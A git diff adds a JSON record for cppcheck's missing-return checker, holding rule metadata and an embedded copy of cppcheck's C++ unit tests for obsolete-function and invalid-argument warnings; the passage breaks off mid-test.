0000000..6cea56f --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/checkMissingReturn.json @@ -0,0 +1,27 @@ +{ + "name": "checkMissingReturn", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 20, + "branches": 7, + "apis": 17, + "test": [ + { + "description": null, + "expected-problems": 6, + "expected-linenumbers": [ + 1590, + 1798, + 1815, + 1834, + 1851, + 1875 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkfunctions.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestFunctions : public TestFixture {\npublic:\n TestFunctions() : TestFixture(\"TestFunctions\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).severity(Severity::performance).severity(Severity::portability).\n certainty(Certainty::inconclusive).c(Standards::C11).cpp(Standards::CPP11).library(\"std.cfg\").library(\"posix.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n // Prohibited functions\n TEST_CASE(prohibitedFunctions_posix);\n TEST_CASE(prohibitedFunctions_index);\n TEST_CASE(prohibitedFunctions_qt_index); // FP when using the Qt function 'index'?\n TEST_CASE(prohibitedFunctions_rindex);\n TEST_CASE(prohibitedFunctions_var); // no false positives for variables\n TEST_CASE(prohibitedFunctions_gets); // dangerous function\n TEST_CASE(prohibitedFunctions_alloca);\n TEST_CASE(prohibitedFunctions_declaredFunction); // declared function ticket #3121\n TEST_CASE(prohibitedFunctions_std_gets); // test std::gets\n TEST_CASE(prohibitedFunctions_multiple); // multiple use of obsolete functions\n TEST_CASE(prohibitedFunctions_c_declaration); // c declared function\n TEST_CASE(prohibitedFunctions_functionWithBody); // function with body\n TEST_CASE(prohibitedFunctions_crypt); // Non-reentrant function\n TEST_CASE(prohibitedFunctions_namespaceHandling);\n\n // Invalid function usage\n TEST_CASE(invalidFunctionUsage1);\n TEST_CASE(invalidFunctionUsageStrings);\n\n // Invalid function argument\n TEST_CASE(invalidFunctionArg1);\n\n // Math function usage\n TEST_CASE(mathfunctionCall_fmod);\n TEST_CASE(mathfunctionCall_sqrt);\n TEST_CASE(mathfunctionCall_log);\n TEST_CASE(mathfunctionCall_acos);\n TEST_CASE(mathfunctionCall_asin);\n TEST_CASE(mathfunctionCall_pow);\n TEST_CASE(mathfunctionCall_atan2);\n TEST_CASE(mathfunctionCall_precision);\n\n // Ignored return value\n TEST_CASE(checkIgnoredReturnValue);\n TEST_CASE(checkIgnoredErrorCode);\n\n // memset..\n TEST_CASE(memsetZeroBytes);\n TEST_CASE(memsetInvalid2ndParam);\n\n // missing \"return\"\n TEST_CASE(checkMissingReturn1);\n TEST_CASE(checkMissingReturn2); // #11798\n TEST_CASE(checkMissingReturn3);\n TEST_CASE(checkMissingReturn4);\n TEST_CASE(checkMissingReturn5);\n TEST_CASE(checkMissingReturn6); // #13180\n\n // std::move for locar variable\n TEST_CASE(returnLocalStdMove1);\n TEST_CASE(returnLocalStdMove2);\n TEST_CASE(returnLocalStdMove3);\n TEST_CASE(returnLocalStdMove4);\n\n TEST_CASE(returnLocalStdMove5);\n\n TEST_CASE(negativeMemoryAllocationSizeError); // #389\n\n TEST_CASE(checkLibraryMatchFunctions);\n\n TEST_CASE(checkUseStandardLibrary1);\n TEST_CASE(checkUseStandardLibrary2);\n TEST_CASE(checkUseStandardLibrary3);\n TEST_CASE(checkUseStandardLibrary4);\n TEST_CASE(checkUseStandardLibrary5);\n TEST_CASE(checkUseStandardLibrary6);\n TEST_CASE(checkUseStandardLibrary7);\n TEST_CASE(checkUseStandardLibrary8);\n TEST_CASE(checkUseStandardLibrary9);\n TEST_CASE(checkUseStandardLibrary10);\n TEST_CASE(checkUseStandardLibrary11);\n TEST_CASE(checkUseStandardLibrary12);\n TEST_CASE(checkUseStandardLibrary13);\n TEST_CASE(checkUseStandardLibrary14);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n const Settings* s = nullptr;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings& s = options.s ? *options.s : settings;\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void prohibitedFunctions_posix() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" bsd_signal(SIGABRT, SIG_IGN);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Obsolescent function 'bsd_signal' called. It is recommended to use 'sigaction' instead. [bsd_signalCalled]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int bsd_signal(0);\\n\"\n \" return bsd_signal;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct hostent *hp;\\n\"\n \" if(!hp = gethostbyname(\\\"127.0.0.1\\\")) {\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Obsolescent function 'gethostbyname' called. It is recommended to use 'getaddrinfo' instead. [gethostbynameCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" long addr;\\n\"\n \" addr = inet_addr(\\\"127.0.0.1\\\");\\n\"\n \" if(!hp = gethostbyaddr((char *) &addr, sizeof(addr), AF_INET)) {\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (style) Obsolescent function 'gethostbyaddr' called. It is recommended to use 'getnameinfo' instead. [gethostbyaddrCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" usleep( 1000 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Obsolescent function 'usleep' called. It is recommended to use 'nanosleep' or 'setitimer' instead. [usleepCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_index() {\n check(\"namespace n1 {\\n\"\n \" int index(){ return 1; };\\n\"\n \"}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" n1::index();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f()\\n\"\n \"{\\n\"\n \" std::size_t index(0);\\n\"\n \" index++;\\n\"\n \" return index;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" return this->index();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int index( 0 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char f()\\n\"\n \"{\\n\"\n \" const char var[6] = \\\"index\\\";\\n\"\n \" const char i = index(var, 0);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\",\n errout_str());\n }\n\n void prohibitedFunctions_qt_index() {\n check(\"void TDataModel::forceRowRefresh(int row) {\\n\"\n \" emit dataChanged(index(row, 0), index(row, columnCount() - 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\"\n \"[test.cpp:2:37]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\", // duplicate\n errout_str());\n }\n\n void prohibitedFunctions_rindex() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int rindex( 0 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char var[7] = \\\"rindex\\\";\\n\"\n \" print(rindex(var, 0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Obsolescent function 'rindex' called. It is recommended to use 'strrchr' instead. [rindexCalled]\\n\", errout_str());\n }\n\n\n void prohibitedFunctions_var() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" Fred() : index(0) { }\\n\"\n \" int index;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_gets() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = gets(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" foo(x, gets(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_alloca() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\"); // #4382 - there are no VLAs in C++\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning) Obsolete function 'alloca' called. [allocaCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:15]: (warning) Obsolete function 'alloca' called. In C99 and later it is recommended to use a variable length array instead. [allocaCalled]\\n\", errout_str());\n\n const Settings s = settingsBuilder(settings).c(Standards::C89).cpp(Standards::CPP03).build();\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &s)); // #4382 - there are no VLAs in C++\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false, $.s = &s)); // #7558 - no alternative to alloca in C89\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // ticket #3121\n void prohibitedFunctions_declaredFunction() {\n check(\"int ftime ( int a )\\n\"\n \"{\\n\"\n \" return a;\\n\"\n \"}\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" int b ; b = ftime ( 1 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // test std::gets\n void prohibitedFunctions_std_gets() {\n check(\"void f(char * str)\\n\"\n \"{\\n\"\n \" char *x = std::gets(str);\\n\"\n \" char *y = gets(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\"\n \"[test.cpp:4:15]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n }\n\n // multiple use\n void prohibitedFunctions_multiple() {\n check(\"void f(char * str)\\n\"\n \"{\\n\"\n \" char *x = std::gets(str);\\n\"\n \" usleep( 1000 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\"\n \"[test.cpp:4:5]: (style) Obsolescent function 'usleep' called. It is recommended to use 'nanosleep' or 'setitimer' instead. [usleepCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_c_declaration() {\n check(\"char * gets ( char * c ) ;\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" char s [ 10 ] ;\\n\"\n \" gets ( s ) ;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n\n check(\"int getcontext(ucontext_t *ucp);\\n\"\n \"void f (ucontext_t *ucp)\\n\"\n \"{\\n\"\n \" getcontext ( ucp ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) Obsolescent function 'getcontext' called. Applications are recommended to be rewritten to use POSIX threads. [getcontextCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_functionWithBody() {\n check(\"char * gets ( char * c ) { return c; }\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" char s [ 10 ] ;\\n\"\n \" gets ( s ) ;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_crypt() {\n check(\"void f(char *pwd)\\n\"\n \"{\\n\"\n \" char *cpwd;\"\n \" crypt(pwd, cpwd);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Return value of function crypt() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:20]: (portability) Non reentrant function 'crypt' called. For threadsafe applications it is recommended to use the reentrant replacement function 'crypt_r'. [cryptCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *pwd = getpass(\\\"Password:\\\");\"\n \" char *cpwd;\"\n \" crypt(pwd, cpwd);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:57]: (warning) Return value of function crypt() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:57]: (portability) Non reentrant function 'crypt' called. For threadsafe applications it is recommended to use the reentrant replacement function 'crypt_r'. [cryptCalled]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int crypt = 0;\"\n \" return crypt;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_namespaceHandling() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" time_t t = 0;\"\n \" auto lt = std::localtime(&t);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:37]: (portability) Non reentrant function 'localtime' called. For threadsafe applications it is recommended to use the reentrant replacement function 'localtime_r'. [localtimeCalled]\\n\", errout_str());\n\n // Passed as function argument\n check(\"void f()\\n\"\n \"{\\n\"\n \" printf(\\\"Magic guess: %d\\\", getpwent());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:31]: (portability) Non reentrant function 'getpwent' called. For threadsafe applications it is recommended to use the reentrant replacement function 'getpwent_r'. [getpwentCalled]\\n\", errout_str());\n\n // Pass return value\n check(\"void f()\\n\"\n \"{\\n\"\n \" time_t t = 0;\"\n \" struct tm *foo = localtime(&t);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: (portability) Non reentrant function 'localtime' called. For threadsafe applications it is recommended to use the reentrant replacement function 'localtime_r'. [localtimeCalled]\\n\", errout_str());\n\n // Access via global namespace\n check(\"void f()\\n\"\n \"{\\n\"\n \" ::getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Return value of function ::getpwent() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:7]: (portability) Non reentrant function 'getpwent' called. For threadsafe applications it is recommended to use the reentrant replacement function 'getpwent_r'. [getpwentCalled]\\n\", errout_str());\n\n // Be quiet on function definitions\n check(\"int getpwent()\\n\"\n \"{\\n\"\n \" return 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Be quiet on other namespaces\n check(\"void f()\\n\"\n \"{\\n\"\n \" foobar::getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Be quiet on class member functions\n check(\"void f()\\n\"\n \"{\\n\"\n \" foobar.getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidFunctionUsage1() {\n check(\"void f() { memset(a,b,sizeof(a)!=12); }\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"void f() { memset(a,b,sizeof(a)!=0); }\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"void f() { memset(a,b,!c); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6990\n check(\"void f(bool c) { memset(a,b,c); }\");\n ASSERT_EQUALS(\"[test.cpp:1:29]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n check(\"void f() { memset(a,b,true); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6588 (c mode)\n check(\"void record(char* buf, int n) {\\n\"\n \" memset(buf, 0, n < 255);\\n\" /* KO */\n \" memset(buf, 0, n < 255 ? n : 255);\\n\" /* OK */\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:20]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6588 (c++ mode)\n check(\"void record(char* buf, int n) {\\n\"\n \" memset(buf, 0, n < 255);\\n\" /* KO */\n \" memset(buf, 0, n < 255 ? n : 255);\\n\" /* OK */\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"int boolArgZeroIsInvalidButOneIsValid(int a, int param) {\\n\"\n \" return div(a, param > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (error) Invalid div() argument nr 2. The value is 0 or 1 (boolean) but the valid values are ':-1,1:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void boolArgZeroIsValidButOneIsInvalid(int param) {\\n\"\n \" strtol(a, b, param > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Invalid strtol() argument nr 3. The value is 0 or 1 (boolean) but the valid values are '0,2:36'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() { strtol(a,b,1); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid strtol() argument nr 3. The value is 1 but the valid values are '0,2:36'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() { strtol(a,b,10); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10754\n \" int N = -1;\\n\"\n \" for (long i = 0; i < g(); i++)\\n\"\n \" N = h(N);\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (warning) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f(std::vector& v, int N) {\\n\"\n \" if (N < -1)\\n\"\n \" return;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:14]: (warning) Either the condition 'N<-1' is redundant or v.resize() argument nr 1 can have invalid value. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, int N) {\\n\"\n \" if (N == -1) {}\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'N==-1' is redundant or v.resize() argument nr 1 can have invalid value. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, int N, bool b) {\\n\"\n \" if (b)\\n\"\n \" N = -1;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (warning) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int N = -1;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n }\n\n void invalidFunctionUsageStrings() {\n check(\"size_t f() { char x = 'x'; return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f(char x) { return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { char x = '\\\\0'; return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char x;\\n\"\n \" if (y)\\n\"\n \" x = '\\\\0';\\n\"\n \" else\\n\"\n \" x = 'a';\\n\"\n \" return strlen(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"int f() { char x = '\\\\0'; return strcmp(\\\"Hello world\\\", &x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { char x = 'x'; return strcmp(\\\"Hello world\\\", &x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: (error) Invalid strcmp() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f(char x) { char * y = &x; return strlen(y); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f(char x) { char * y = &x; char *z = y; return strlen(z); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f() { char x = 'x'; char * y = &x; char *z = y; return strlen(z); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f() { char x = '\\\\0'; char * y = &x; char *z = y; return strlen(z); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { char x[] = \\\"Hello world\\\"; return strlen(x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f(char x[]) { return strlen(x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char x, char y) { return strcmp(&x, &y); }\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (error) Invalid strcmp() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\"\n \"[test.cpp:1:43]: (error) Invalid strcmp() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { char x[] = \\\"Hello world\\\"; return strlen(&x[0]); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { char* x = \\\"Hello world\\\"; return strlen(&x[0]); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" char x;\\n\"\n \"};\\n\"\n \"size_t f() {\\n\"\n \" S s1 = {0};\\n\"\n \" S s2;\\n;\"\n \" s2.x = 'x';\\n\"\n \" size_t l1 = strlen(&s1.x);\\n\"\n \" size_t l2 = strlen(&s2.x);\\n\"\n \" return l1 + l2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:22]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\"\n \"[test.cpp:9:22]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"const char x = 'x'; size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"struct someStruct {\\n\"\n \" union {\\n\"\n \" struct {\\n\"\n \" uint16_t nr;\\n\"\n \" uint8_t d[40];\\n\"\n \" } data;\\n\"\n \" char buf[42];\\n\"\n \" } x;\\n\"\n \"};\\n\"\n \"int f(struct someStruct * const tp, const int k)\\n\"\n \"{\\n\"\n \" return strcmp(&tp->x.buf[k], \\\"needle\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct someStruct {\\n\"\n \" char buf[42];\\n\"\n \"};\\n\"\n \"int f(struct someStruct * const tp, const int k)\\n\"\n \"{\\n\"\n \" return strcmp(&tp->buf[k], \\\"needle\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char x = 'x'; size_t f() { char y = x; return strlen(&y); }\");\n ASSERT_EQUALS(\"[test.cpp:1:60]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"const char x = '\\\\0'; size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char x = '\\\\0'; size_t f() { char y = x; return strlen(&y); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char * a = \\\"Hello world\\\";\\n\"\n \" char ** b = &a;\\n\"\n \" return strlen(&b[0][0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char ca[] = \\\"asdf\\\";\\n\"\n \" return strlen((char*) &ca);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5225\n check(\"int main(void)\\n\"\n \"{\\n\"\n \" char str[80] = \\\"hello worl\\\";\\n\"\n \" char d = 'd';\\n\"\n \" strcat(str, &d);\\n\"\n \" puts(str);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Invalid strcat() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[1] = { \\'x\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[2] = { \\'x\\', \\'y\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'y\\' ,\\'\\\\0\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'\\\\0\\' ,\\'y\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'y\\' };\\n\" // implicit '\\0' added at the end\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'\\\\0\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'0\\' + 42 };\\n\" // no size is explicitly defined, no implicit '\\0' is added\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'0\\' + 42, \\'x\\' };\\n\" // no size is explicitly defined, no implicit '\\0' is added\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) 